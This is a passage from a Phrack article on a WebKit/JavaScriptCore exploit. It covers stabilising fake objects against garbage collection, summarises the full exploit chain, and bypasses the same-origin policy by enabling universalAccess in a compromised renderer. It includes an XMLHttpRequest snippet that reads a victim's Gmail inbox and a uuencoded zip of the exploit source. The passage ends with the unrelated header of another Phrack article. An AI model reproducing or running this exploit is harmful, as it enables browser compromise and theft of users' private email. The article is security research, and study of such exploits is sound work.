If we wanted to keep our renderer process alive past our initial exploit (we'll later see why we might want that), we are currently faced with an immediate crash once the garbage collector kicks in. This happens mainly because the butterfly of our faked Float64Array is an invalid pointer, but not null, and will thus be accessed during GC. From JSObject::visitChildren:

Butterfly* butterfly = thisObject‑>m_butterfly.get(); if (butterfly)

thisObject‑>visitButterfly(visitor, butterfly,

thisObject‑>structure(visitor.vm()));

We could set the butterfly pointer of our fake array to nullptr, but this would lead to another crash since that value is also a property of our container object and would be treated as a JSObject pointer. We will thus do the following:

1. Create an empty object. The structure of this object will describe an object with the default amount of inline storage (6 slots), but none of them being used.

2. Copy the JSCell header (containing the structure ID) to the container object. We've now caused the engine to "forget" about the properties of the container object that make up our fake array.

3. Set the butterfly pointer of the fake array to nullptr, and, while we're at it also replace the JSCell of that object with one from a default Float64Array instance

The last step is required since we might end up with the structure of a Float64Array with some property due to our structure spraying before.

These three steps give us a stable exploit.

On a final note, when overwriting the code of a JIT compiled function, care must be taken to return a valid JSValue (if process continuation is desired). Failing to do so will likely result in a crash during the next GC, as the returned value will be kept by the engine and inspected by the collector.

‑‑‑‑[ 6.5 ‑ Summary

At this point it is time for a quick summary of the full exploit:

1. Spray Float64Array structures

2. Allocate a container object with inline properties that together build up a Float64Array instance in its inline property slots. Use a high initial structure ID which will likely be correct due to the previous spray. Set the data pointer of the array to point to a Uint8Array instance.

3. Leak the address of the container object and create a fake object pointing to the Float64Array inside the container object

4. See if the structure ID guess was correct using 'instanceof'. If not increase the structure ID by assigning a new value to the corresponding property of the container object. Repeat until we have a Float64Array.

5. Read from and write to arbitrary memory addresses by writing the data pointer of the Uint8Array

6. With that repair the container and the Float64Array instance to avoid crashing during garbage collection

‑‑[ 7 ‑ Abusing the renderer process

Usually, from here the next logical step would be to fire up a sandbox escape exploit of some sort for further compromise of the target machine.

Since discussion of these is out of scope for this article, and due to good coverage of those in other places, let us instead explore our current situation.

‑‑‑‑[ 7.1 ‑ WebKit process and privilege model

Since WebKit 2 [22] (circa 2011), WebKit features a multi‑process model in which a new renderer process is spawned for every tab. Besides stability and performance reasons, this also provides the basis for a sandboxing infrastructure to limit the damage that a compromised renderer process can do to the system.

‑‑‑‑[ 7.2 ‑ The same‑origin policy

The same‑origin policy (SOP) provides the basis for (client‑side) web security. It prevents content originating from origin A from interfering with content originating from another origin B. This includes script level access (e.g. accessing DOM objects inside another window) as well as network level access (e.g. XMLHttpRequests). Interestingly, in WebKit the SOP is enforced inside the renderer processes, which means we can bypass it at this point. The same is currently true for all major web browsers, but chrome is about to change this with their site‑isolation project [23].

This fact is nothing new and has even been exploited in the past, but it is worth discussing. In essence, this means that a renderer process has full access to all browser sessions and can send authenticated cross‑origin requests and read the response. An attacker who compromises a renderer process thus obtains access to all the browser sessions of the victim.

For demonstration purposes we will now modify our exploit to display the users gmail inbox.

‑‑‑‑[ 7.3 ‑ Stealing emails

There is an interesting field inside the SecurityOrigin class in WebKit: m_universalAccess. If set, it will cause all cross‑origin checks to succeed. We can obtain a reference to the currently active SecurityDomain instance by following a set of pointers (whose offsets are again dependent on the current Safari version). We can then enable universalAccess for our renderer process and can subsequently perform authenticated cross‑origin XMLHttpRequests. Reading emails from gmail then becomes as simple as

var xhr = new XMLHttpRequest();

xhr.open('GET', 'https://mail.google.com/mail/u/0/#inbox', false);

xhr.send(); // xhr.responseText now contains the full response

Included is a version of the exploit that does this and displays the "users" current gmail inbox. For reasons that should be clear by now this does require a valid gmail session in Safari ;)

‑‑[ 8 ‑ References

[1] http://www.zerodayinitiative.com/advisories/ZDI‑16‑485/

[2] https://webkit.org/blog/3362/introducing‑the‑webkit‑ftl‑jit/

[3] http://trac.webkit.org/wiki/JavaScriptCore

[4] http://www.ecma‑international.org/

ecma‑262/6.0/#sec‑ecmascript‑data‑types‑and‑values

[5] http://www.ecma‑international.org/ecma‑262/6.0/#sec‑objects

[6] https://en.wikipedia.org/wiki/Double‑precision_floating‑point_format

[7] http://www.ecma‑international.org/

ecma‑262/6.0/#sec‑array‑exotic‑objects

[8] http://www.ecma‑international.org/

ecma‑262/6.0/#sec‑ecmascript‑standard‑built‑in‑objects

[9] https://developer.mozilla.org/en‑US/docs/Web/JavaScript/

Reference/Global_Objects/Array/slice).

[10] https://github.com/WebKit/webkit/

blob/320b1fc3f6f47a31b6ccb4578bcea56c32c9e10b/Source/JavaScriptCore/runtime /ArrayPrototype.cpp#L848

[11] https://developer.mozilla.org/en‑US/docs/Web/

JavaScript/Reference/Global_Objects/Symbol/species

[12] http://www.ecma‑international.org/ecma‑262/6.0/#sec‑type‑conversion

[13] https://bugzilla.mozilla.org/show_bug.cgi?id=735104

[14] https://bugzilla.mozilla.org/show_bug.cgi?id=983344

[15] https://bugs.chromium.org/p/chromium/issues/detail?id=554946

[16] https://www.gnu.org/software/guile/manual/html_node/

Conservative‑GC.html

[17] http://www.ecma‑international.org/

ecma‑262/6.0/#sec‑ecmascript‑language‑types‑number‑type

[18] http://www.ecma‑international.org/ecma‑262/6.0/#sec‑typedarray‑objects

[19] https://developers.google.com/v8/design#fast‑property‑access

[20] http://www.ecma‑international.org/

ecma‑262/6.0/#sec‑operations‑on‑objects

[21] http://www.ecma‑international.org/ecma‑262/6.0/

#sec‑ordinary‑object‑internal‑methods‑and‑internal‑slots‑delete‑p [22] https://trac.webkit.org/wiki/WebKit2

[23] https://www.chromium.org/developers/design‑documents/site‑isolation

‑‑[ 9 ‑ Source code

begin 644 src.zip

M4$L#!`H``````%&N1DD````````````````$`!P`<W)C+U54"0`#":OV5Q6K M]E=U>`L``03U`0``!%````!02P,$%`````@`%ZY&2;A,.B1W`P``)@D```X` M'`!S<F,O96UA:6PN:'1M;%54"0`#G:KV5PFK]E=U>`L``03U`0``!%````"M5E%OVS80?L^ON'H/DE9;2H:B*&([F)%D78:U*9H@;9$%`2V=;082J9)4;*'M M?]^1LA39L=7J11)Y]]WW'7E'CEZ<79Y>?_EP#@N3I2<'H_J%+#DY`!AI4Z9H MOP"F,BGAF_L$F$EA!C.6\;0\ADP*J7,6X]#‑_K".T=K3@<2*YP:TBL>]PO!4 MAP^Z=T(F;OQDVX0+\_I5MTF^%%L&3Q85VUDA8L.E@%P1GI_I>="0!TAD7&0H M3&A%A5P(5‑>X,O!R#&0)+\'[3WBU&O>*(CCCFDU3U&`6")IE.)"*SSF%D"F/ M2\J)HBFN0:%(4*&BV#)&K8&)!'0QU?BUH*!I62/.T,0+K.83KO.4E15ZH5%I MF&>,I\#%5*Z`SX"M!S1!6F6XXMKH<%.N@WQ'9GY;+WG[+[B^*5)2:D7X07O: M/E6>>K>#._CGZA0>B8#%$]+`8^,6PF0JE>%BW@N&&^X*3:'$T]@Z;6NA5S2; M.V499E*59,Z2:*FX01LXXX8_8MAXT/+ZA‑_\/S(%#WJU4#`&@4OX_.[?OXW) M/]I\:K/;=)(DUIS12\Y\‑]2B7*O]W:K=A*.$:\‑$C/`G]&@K‑&BAD5>&_.:4 MO*V(3_$J?:'5=V'WL4_C?@/1A\/5'X?!;B+=‑'Y.HMK^YRN,3ZDZ:3MW46H1 M>KV/T%4#6‑B]M4;=)K8S;!=‑@J.%+R]=\7QPM=/%=">^Y7VTE_>.",]8[V'Q MR\0[*>\![\.;7Z+<3;:#IBTU:>M,H:>K9C25,D4F(&9IB@ED]X7@MKA9.HEM M<PI#&`8‑P%J.J\P=4IH]/`WZ<'MTUXY=J?$&G8_7]G!E$<H<A>^]/;_V^N`M MJ`#T<1391A?.I9Q3SXEEYOZC(CJ,?G/MD$QG+‑782F8%IJGU/NL'"G4NA49: MKLJJ'K`]?[BYQH8I<T'M>T7&M1D=$#1P.?,]:W)S<?[I_FQR/1E[P:8SQ=[O M6AU51/PI1,O=‑NAV[/$8!D?P_7L+TPWMZ=I_47IH<8VD0\$H%AM(F&%P[&^W MZ<J^9A?L[‑=62FQ+39BV$DV[&%LD^PVWYUOZ/9T:<RD$@YPI2KSM_&_=X57# MT0)2:J"4A:I/..',DB++PS#L/0‑=4PHVCN4E@<AE*$4J64)LF^‑O6%U"6K<# MPPU=2"Y<K!N.2U2CJ!H[&$75A6=DKP/VMWY7UZ'_`5!+`P04````"`#T;D9) M%5KXM!8&``!H$@``#``<`'‑R8R]I;G0V‑"YJ<U54"0`#NSOV5]>J]E=U>`L` M`03U`0``!%````"]5_UNVS80_]]/<0NP6D)MQ0F"+&B:`5G;#=NP#*B[%5C1 M`;1$V6QDTB,IQ\::O<H>9B^V.U*2J8^F'5#,"!";.M['[SY^I^/CT?$QO!)R M#VN5E04'NV(6‑EIM1<8‑+,02HO.SA;`Q"&GYDFN3X!6Z]4QM]EHL5Q:B‑(;3 MV<DYS‑FZY`5\I]4_?U=2+_D?I="HJK2B,,D[0^?TX#FSS.XW:%&!YAL4X=+" M^=D4C?5L?8^_M61%L9^@A[Q^#L*`L4KS#)@!!K_@^<6UUFR/$E`(:S$B+C/! M)"SVEH/2&=?)*"]E:H62I/?\+‑K&\.<(\$‑8H/92HE2Q%W+I;S'2F#B)+=/N MS,`52'X76(PNXLN1DS%WPJ8KB"@ZE4.CG3XI,QS&LEPON!X_:8Z=:E0YGNW& M\!A^8G:5Y(52&GU+K)I;C<Y$)^=HHJW)N"<=32*':)L8R[0UKX5=1:0VCELR MM464*Q>H)3H‑=!^4%%PN[0J^A%.XNH*381WC&3F]K<)OGA!48OG"PW^%J*[X MKA#Y/MI.X*)CS6&:&&XC!V:2:[6.FMMQHOD6RX%'<?>>YNRV"XI:O..I'0(% MRP)AD2GEQ>4^S$W?EVWBOO>LW@,OT%#_:@NT+ZXPS)X(?>Q*JSMXA?7Q0FM, M\I&OV75I+*S8%FMVE[+4%GNX0$M\C9UADJ..$QU7NRY^'"8J\UQ(GG60Z@BC M$"L+VY;I1>#0A%0AOKI,L2>QJ:O.Q^PSO2PIBB:(^U'=<"^Y+35*0*;*!;;K MW0HKUC6Y8>MV+^)@:"8%H_[U/6E7PB3,//?WKZ#N[BA,+@VL%4]O(4?7;MA‑

M\X!2YF!\\]5;JO'9+L_AT:/Z\/QP^/X]=,YXIZD\*C077C*Y#*!QPRI%(*2R ML."','!R+?9‑\$=QT$/:`S‑W>":EW+#T‑JI^X6Q@B/?$.U1C>MD']1W;,I‑J ML;'8CT6)\/Y7=‑U,Q#F+?TIB16Z4,8*`)B#K.4WCEI1J"AO>S':SV>QD%GPF M#L(\#\_B6G]6.A:H"@!KB'J=QK,O)R:H_,‑4_S#_U07S@5Q32MLYI82V<A=3 M‑@?SWDW[9TMQY70KQQC\M[X>IPNUPS1,4.P9L"PS</K[V07!TG2&2^#8N$QM MF"5&3$8'OQPR1BSEO%Q$]),P;R4A&!$TG+5CL4^OKXZ9ZRS[H)EN$:.I#]6H M[1,N5EKN+($G2D?N!PYV/M0D/%@`E=602A[L$_+!,[UUWY=BRR76=,9W'9/7 M‑K0I!HSZ^A%O'[+E6[$?9"D)6"P89$KPU![8K_>`CT1=[1`UV?9`Z'%IX.,W MS(@4L<8AL>96I,$(P%INS&(Z7`GXGN<&Z<%'0]V[WI1^?E#QXI'0,";_Q^!Y M.6FL/>>ITHRX@F:)9Y":H$%MN'9J3`*OV"TF.V6:UU?1FI\3E@"IZ<60R;8> M0].@HJ+,A]‑L?XV)*)^`1"5F`,Y!J.LITQ@..‑\KZE&U'QS5O+C!&<&E*I>K MP'<"H?'M"%.8)Q*'=(?822JB]A58![‑+_/<4NF[@Z>/'?1?(XR\./F.1]O>A MX86E=<=OOGYU#A]T'*WQ2]AF4^RK4='(!\+WW97`=<453"7NT'<*)QX5E5^# MXI`&J`1O./5#D,D:0,F7D0QS‑@3<Q0!2=0.CU%^R:GKL]/Y0&YR%#I;D9UFG M[7Z"6_‑E‑S2&V5UT0T$EPZ$@'40,9W$8#06"#:'W+IA/";)3ODY!J<F90Y#D M5NN7,]'.:VV5+G]=;4:A"QT,42Q(]1"&#5"G0T!‑^T`AP0T#A:\R_Q=0TQ90 MTX\!]11WD,^(TOW(OX%7VS:]^S8]>1BA[5VOO^`1Y=#CZG4_JQ:‑9.2+F#BC MOU1G‑3[AJW"U‑@RN$%G5"54LA]E1<S+QCX\&65=P\KPAFJ1B'GSU5RDCA@X" MQ6&_4D46L%`R&AV8=GA^‑,5R$PZ(RKGHX%T<'R8,RM68‑YLU‑7"CZ[K3H0^H M:T1[&J>AQGFGE!_0V(C6&N=J[8AX[1;VTF!F_8YAZM3^QK5JS7%:VIK1U7KB MII?;`)A%*#$1#N_#C@!W',71!K44WVT*)1PIO^:+'X5‑$G@2C_X%4$L#!!0` M```(``^N1DF4@XGQ3`,``%`(```,`!P`<W)C+W!W;BYH=&UL550)``..JO97 M":OV5W5X"P`!!/4!```$4````(566V_:,!1^[Z\XY:5!T$`OZD.A:!6EVJIJ MG0I:‑W5],(D#;A,[LD^X:.I_WW$N)*'0(82#_9WS?>=B._W#FX?AY/>/$<PQ M"@<'_6+@S!\<`/0‑KD‑NGP"FRE_#W_01(%`2CP,6B7!]"9&2RL3,X[UT]=T: M=G++U(FG18Q@M'?52%"$QGTUC0%!TOG!‑D1(O#C_'!(OY1:@1&1J@T1Z*)2$ M6),_)S*SYD8\@*^\).(271N4*Z3D>L)7"*TK("2TX.B//"JB28=.!QYY'%*0

M!G#.X>[;Y‑A342Q"[H.G?$XIT<!*WJ7`>8J<B0678.8\#%,<DS[H1!H0Z.:N M"X;)7)C,&8VQYHAK6'!MK#^?QUSZI!F,D!XA,)\R0*N!6)&.6*N8:S)206`X MFL(_#%42^C`EJX@P"X).$R1U1$/?F5(^<*F2V3R‑0JJE6T\BZ1T7`3B;4*H9 M%0$XA\+\3$+*)9N&W&E6E^TGJT3C^?@%[L;#36!2(2PV9BY<3Y5&(6>‑9J]F M3NE(M"SG\L+4=$;LC5‑EAGEA;O‑Y9UO*Q@"9GG%T5MN`DA!6=1D5VCRYMTI[ M:4‑`UA#,>G;K?)159\$T"+B";H^&/IQTN_:IU=K%G>L2S4_)<X49>&=F2‑Z8 M0'':B1&/E%Z3%?,[2RV0VY)$`JE!2[FTM1QBK7KXKI:I/6=F#3'3>%E=!3AQ MX9ZS‑^K^6%&)N094]*?,"/5;D?&ZY6EN:;T7MO2K@*^XEZ!MB%QUW>[,A:<T M@');D0O‑ZZAS%X8L#%/O'_AM‑>PD%61OU_0^H*]]7Y,%HT$%CIVI@(H&;[W` M9K>4K::FK]Q#^`(‑.E\*7]5,6XXR[IPIB]ZU‑?MFST6'YIW"N@VGY\W=`D9E M`H4TR.R1D5'7*;8%O`H<DNS/V.L.VG!RL4=#FE/_@X`*Q3:[]Q_JBFD;SD[W M\#X^_2IZ/6,LW+JHQDBXF=.L,E=,;5?1>ME7KNM6#Z)<5;I['&\CI3P2=[@] MI$PDU%KD‑NWM?;YM58N>R[>PS<GXZ^C^?OAP,Z*D/'=7GM>&\O<EYUL*Z=.I MK62HF$_`H'+RU4_OC;MF#]Y[V55=N4‑1(%W;9?L^)O9R['>R^8‑^)WLUZ‑N+ MT_XMQNS%X1]02P,$%`````@`)*Y&2>G85Y(7"@``Z!H```H`'`!S<F,O<'=N M+FIS550)``.SJO97UZKV5W5X"P`!!/4!```$4````*U9ZW+;N!7^GZ=`\D=4 MK="RXWHS=K+3Q+G4F2;>B;/)3#UN!B(A$0E$<`E0LI+Z6?HP?;%^!P!)Z.)N MNE/M[,J2@'/YSG=NW/W]>_O[["V7)1,WE=+2LKG.&R52]M)_‑LP6@DV:&>‑E M3H>K6B]D+@SC;#`7<UVO!DQ/OHC,LF4ALX)EO&03P1HCW'FK62UX3M?9LI96 M,%Y/I*UYO6+^/N‑Y7@MCA$EQ@>Z<Z6I5RUEA69(‑V>'XX)A=\GDC%'M=ZW__ M*YQZ+WYK)"ZRQDIETB_&Z9"E/3["!SKD9=6B<ZZJY5Q:N?"JV‑G'EP])^L.C MX\‑#‑J/O83>S2\T*J&=*+*`S7.96ZC*2<(*?^5=9SIB>]BZ06'Q^PQ?\,JME M90,XWCC"DD^DDG9%P&1`!H#HIF9Z6;(I_RIVW$SO>6]M4Y=>@E=&>N@CV5UN MWV.Z9L;6,#"]‑VW*S)E/5_4T\2>&[/L]AM>"UXCF4W9U?>H^3W$SH2\EOAR? MXNT).QC3'WM[0W>"7CRM&E,DDNVQ<7KPZ‑%/P]/V)P9[G]4U1X0;8XD‑9.JJ M$O[;3](6+W0S48"K,V`"73PU2F8B&8_8]P57C;B8GK#6]@3FXH02Y<P6WC!G MM/?E^A0T<P@=G;+;VZ'W)'QU[C@QK?7<JTTF5X^N<>0V1I;'$#KM0)=;ENG2 M(D&(\&\N+SRTE0;‑1$TQ[",0PN*8]:&0N*"47AI$F4]MX,D=(09KG:"/;Z‑8 MT5G\GI#<[5#][Y'Z?AM%Z,>B=`;?Y:S130@4F4)QPEO*30!S'>L_%$,2N!E! MA*B‑T%DALJ],>KKCKBP%`[Z+1I6BYK`A0DV:C]W720M;$'Q?FG?\71*2`'A$ M3G1T^‑50K$A3G^M(6KT0(WP+M9TJ(Q"YID)F;]<TJGG[OMYU8APSSFU(>R+4 M3.D)5UN%U/..>TZ$6MH54J)Q5$WQ=:\\JJ2=E=6R3&+ZH"8T1+DHWSN'*L3] MTOW>0$YW+9#E`ZSI?CU_\8$@=F:&%&&%1DJS!%8;T7U)/L@R%S=MO2K%C847 M0C"CM!W%&E!.<SJF)‑*$NT‑*&CMB7XBA2S"21(%>9IBR2UEFE*.B)F6‑R@DJ MSB#391HI$"4*(*I,I")89)WQ5'F=TUT*&#T72X)?\7J&B+4W.XQJ0*_GEZZP MK@$4\>PMMT7J#R;#U.IP^M'Q,*U%I3C28__J'_SAM^N]_=F(#0;#U#03!(:R MYL\AG^AUV^O?D>GC&^1Z2/8‑0]HZ48HE>Z4T1_US29T<1‑+;&I"C.[N3Z.V5 MJ‑=ZD_^ABSK@,Y8#]W1‑"K]:A^4:JJDEK.L*S//5B/?%B`(O1.7BTFOJ^J9R

MJ;,.R:VO1X&4@)02'V:WWXY3=M8Z$`C1\]J!&:/2>67:^P>@%V)9$0FI9&^> MQ@2$'‑1$OF#H@(JXHLH44)24A4$<7F1GSBWO>H=[ITN4P>Q7O#]VXKM+ARW% ME[BIRX%E7TN]="AENJZI4)@.K?,7;@S9[=8HL@/"II1EF(8:5^D&[2D]'72Z M'Z7L$S(5Z@J^$.L5CJK0WD9I8Z:UE‑*^ULJ9&?L;F4"&EKL\/O):A:]V4WG# M?`0$>0U;#=+3‑UQ8PV>D3"G@@'`N'4!HM:8(M5MGKAFWLA%.D@8R#‑SD9'Z$ M#MZRK;)XVDD‑)'‑3F;OJ2O=2*K55MW]L`&Z3M^`W(7U[G!*?\‑OJ_501AA,O M`Y$I;?+@ZD_7Y+D;/^!]J,D=:1^TLDCE%W,FE/HK;!5UT.T&I^2J2[XQZA,9 M,?)_X=\N@^>?3=\:1BQKP‑#2LEGCHL!^YP4!;R[/W,24<4IZ:JX[PE3J\F'K M*#K‑RQN1‑:Z4FQ%0GC6HVC2O$YI4K$,‑&;$T38<_8D3>4`&#5EX375+V;*&E MF]O1T28K5LG,C?S<+PBR!/O1P,]?]"Z.;SI8‑J7//[M&"`$?,&:‑V#M=BNC>

MX4^[+KI[UIU?(VF2:V&(]."`4N`2MTBS44>^7$ZGPL6`@‑.*HKH0‑>%BAI'6 M@\=W:ITJ/@‑X%[A6T\[W6MB+9?E+Z!*75%C_21P1=28JN^/GYZMS<O@EQN‑/ MA2C_YN:^<_‑.V[^+6L=&W!60^><,I+S$]D5XB>6G`AGD+E['W.V)_33JA#&C M3]8^8?![<_F1QM‑DV$\@DX8@G*H5)E:NC(CH?8FY($I<‑]D":S$`V%2HW&1( MU<J&(37O&;%P)>J$<KK7Y6?@9V7^BD`^84F?;P‑0:#RF5`^O@_%@.(Q‑]CUP M9QG::E=]36GWQJ?4\MLIN$‑N.&('QV$ZB*K'J[BVL+^P!]CW@J`X`*365\"G M:XM+=`QVOJ+9E;H*<K/!:J$(0>H>PH;G#"$`\8:%6L#15OU*ELA4I*QLE*IL M/6SE<O;ZC‑5‑B39`<^!V&T#[;<!D8J;;XPW#7\B+.0HTV6.*,$!V$E%O.$9" MO%<:Q<0M&9T;U$!Y/`N['+NC^_H`+`N)@3.YG_1(]8UW[>)P<^RNW4#&724J M!*_:,NG\H/%WU(\(2XZ$I[6TEK,9\'M]ENY,![#)R%E)1(B_'H5=^:(4T:#8 M<23=Z!%WI=3IQI#VEJ]HMG8@DY6.7ZBRS73J'$A3=O++%O‑B,‑<FG:ENROS$ M47'‑@F[2[N;IAX^'/?U::_[H9(.SV`+KL'<5'5?6QKK‑X<9O+6MJN@<%ZV9= M5!8ZO[FXGA"AH/;‑^0>@/Z^D\H^?B&:^&<V%+72^+B2,$W$)))>B_9M4CT+M MV=P96NB?7+/WN$5MCA`.R_H>/DQ6M+:Z!;0M`QOK1$?NJ\/KNQX4=&4QVE'\ M?!/LVA"Y8_/Q!S<><[0O?B5)‑ZHM_EB7U3ZCB#:LT;TUK!S]‑P"[8\OK"S85 M_Y1N!WP=Z79I<‑39"@?QYZY@_'S‑/N%2&PPZFFY%!/G^?XC'+J`C?7>@[6'& M#3JZ!OB6X[NP'5%=OP‑@!ZN[V1]‑G<?)<&M)CKKA*WG3^&T2,R6J`Q7‑W*>F M7Y[:60&XS:F]81=26G\‑CQU*)N85EF`=C=.0^GS%<C'EC;(CUH^@;1$)NU_& M*Y[1TUWH.AYA#‑`‑QD3H*3"`_5Y_]FJ1O;>G_1[0EEJ?VSW+T+K=^2'1[31* M_PBQC?;N9<7K@ZY6,4ZTHCSO6G#23I)MMVT?/6'"EL91<K<?T^.C=A38>O[0 MVOK?_&KOQQ/)+M\Z<N_RC?8]\`4MTTVQU,B7\/%D=\0OW&3\3=!<GCM+6SF4 M%8*;%4T8IJD7$D)98@2!]EH`6)GUESY*L7SR+.<5YKV?3TX6TDA[AL:/>E\. MTVU'HCDL=N;P"/^Y<HN6_^?`OW<C;UL=]J[9,\0(K5_<?Q`Y_UYKN\'U\&@1 M"S1\EVYQV‑BB1=YQW3V^=N$/HP8]1^F'L]"%/)>#8.*.L?0_6SCRUVT>F6@? MD$<IY]I]_/#&"0D#D35"3>E)3@T',)I‑/#U#7PN:DDQI0QMA0+1#+HVW@.YO M>J[['U!+`P04````"`"Z;D9)MPF8]%<#``!?"```#``<`'‑R8R]U=&EL<RYJ M<U54"0`#4#OV5]>J]E=U>`L``03U`0``!%````"E5>%NVS80_N^GN!88+,.> M[#A#$,3S@+9PBP)=,33I@"$+"EJB(JX4*9"4,Z'(L^QA^F*](R6+2A,,V/1' MPMW'.WX?OZ.6R\ER"1^=D,*U4#0J<T(KFV*4$J]TW1IQ6SI(LAFL5R=G<,FJ MADMX8_37?PA%L`_<‑4:!*SF4_&^6\TQ43(+AM>&6*\>H*.C"(V[%@2O8MXZG MD[XA+4OV,_@R`7Q,*)=,5U.8PSYU^M(9H6Z3D[/9++7‑WCJ3_+B>;2;W_Z<] M,&‑8.]Z$%$6;4‑+VFSDP@Y4L;.'Z9N,CA3:04%A@<+7!U\^^GDTE5[>NQ,A\ M/O/0P,:F=6/+Q',DW+6XF>'F8ZX$^DL+E4RGC]':"\5,"SES;*#%<VP;<<+Z M/77K]8JH‑:HGAV_,]NQ$`5VDVSS\`&O8;N%D(.!*H^]`\3NX:FN^,T:;Y/E; M=6!2Y‑2TZ_:\IT32>)XH#ZWZ*)0[?T%:/VBU!#K#IR0=82DTWR+^N*M.R>7Z M!I?4S%C^5KF^0><1L<`5"T#;C‑7V:[W,\=GG354G)'$LCD/*Z!P*IR__N‑I=

M?OIM]^'3[MWNU]W[*WB&2DT;E?‑"*)Y/A]WYD]J"9YT61E>A<*20Q!7_YBK? M=20`4NDVU]?)RD9]QB4>:Z7(.‑$6<T\Z!J)&CAKZ!6G%:A(KPA!;C^F/YQ<X M'PC1$[*V]DW.%[!:P!2F40G/*9@]8(.E$=.![D?'$.`!\Z<:C'\I*NQ1"#3X

M@1L;#:\5E9#,R!84JS!=MZ[$;*7S1N)U0C3QJF@RASR3_FR37C(L_4)*G3&< M?:QF.6B5X:<&=M#HY4;QC%M+DU9R5@,+8+H0(6_(XRA!]GG9*'J!KKEAW75Y M]'U3%‑P$‑8+[O05>^G!RWLG03\CO`@%'9#0GH4R$;C!WN@[X`7VZ?@)>2,W< MV4\>'^"O0^0!/CZ‑P5;$[N+X,_`CL,"RLN&Q^?I>A]"$4)L^3H?(\=KB4M^M%R#X>D4CZ^MM1LEN(X]JX=U&/;Z?PLB`]XO)\3N<TG<\1I=[[/WX"O>#_42W MT4)ZPOWXX%ZD:O[_<KP6_[‑FO5‑2RUWW;WI4MT[;Q]4@[Q\8#L]><M^W,ZUG MCUI?Q)T6<>IT3;G!@$.R<]E%;+<PYCC)LP1W^0U02P$"'@,*``````!1KD9) M````````````````!``8`````````!``[4$`````<W)C+U54!0`#":OV5W5X M"P`!!/4!```$4````%!+`0(>`Q0````(`!>N1DFX3#HD=P,``"8)```.`!@` M``````$```"D@3X```!S<F,O96UA:6PN:'1M;%54!0`#G:KV5W5X"P`!!/4! M```$4````%!+`0(>`Q0````(`/1N1DD56OBT%@8``&@2```,`!@```````$` M``"D@?T#``!S<F,O:6YT‑C0N:G‑55`4``[L[]E=U>`L``03U`0``!%````!0 M2P$"'@,4````"``/KD9)E(.)\4P#``!0"```#``8```````!````I(%9"@`` M<W)C+W!W;BYH=&UL550%``..JO97=7@+``$$]0$```10````4$L!`AX#%``` M``@`)*Y&2>G85Y(7"@``Z!H```H`&````````0```*2!ZPT``'‑R8R]P=VXN M:G‑55`4``[.J]E=U>`L``03U`0``!%````!02P$"'@,4````"`"Z;D9)MPF8 M]%<#``!?"```#``8```````!````I(%&&```<W)C+W5T:6QS+FIS550%``‑0 H._97=7@+``$$]0$```10````4$L%!@`````&``8`Y`$``.,;````````

`

end

Cyber Grand Shellphish

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x04 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Cyber Grand Shellphish ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Team Shellphish ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ team@shellphish.net ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ http://shellphish.net/cgc#team ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#####

# # # # #####

# # # #

# # #####

# # #

# # # #

##### # #####

#####

# # ##### ##

# # # # #

# #### # # #

# # ##### #####

# # # # #

##### # # #

MM

. MM

= M

M MM

MM M

MM MM

,M M

MMM MM+ MM MM M

MM MM MM MM MM MMMMD MMM MM+ MM MM MM MM +M MM :M MM MMM: MMMM MM MM MM MM MM MMD M. MM MMM M MMM MMMMM =M~ MM MM MM MM MM M~MM MM ~MM MM MM ,MMM OM MM MM MM MM MM M.MM MM MMM MMMMMM+NM MM MM MMMMMMMMMM +MMMMMM MMMN MM MM MMMMMM MM MM MM MM MMO MM MMMMMMMMMMMMM MMMMMM MMMN MM MM MMMMMN MMMMMM MM MMMMMMMMM MMMMMMM MMMM: MM MM MM MM NM: MM ?M MM MM MMM MMM MM MM ,M MMM MM MM MM MM MM? MM ~MM ~M MM :MMMMMMMMM MM MMM M M~MMMMMM MM~ MM MM MM MM NM+ MM MM NMM ~N MM ,MMMMMMM8 MM MM :MN MM MM+ MMI NMM M MMI MM MMM+ MM~ MMD~ MM

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Team ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑=[ zardus ]=‑‑‑‑‑=[ mike_pizza ]=‑‑‑=[ anton00b ]=‑‑‑‑=[ salls ]=‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑=[ fish ]=‑‑‑‑‑‑‑‑‑=[ nebhiros ]=‑‑‑=[ cao ]=‑‑‑‑‑‑‑‑=[ donfos ]=‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑=[ hacopo ]=‑‑‑‑‑‑‑‑‑=[ nezorg ]=‑‑‑=[ rhelmot ]=‑‑‑‑‑‑=[ paul ]=‑‑‑=|

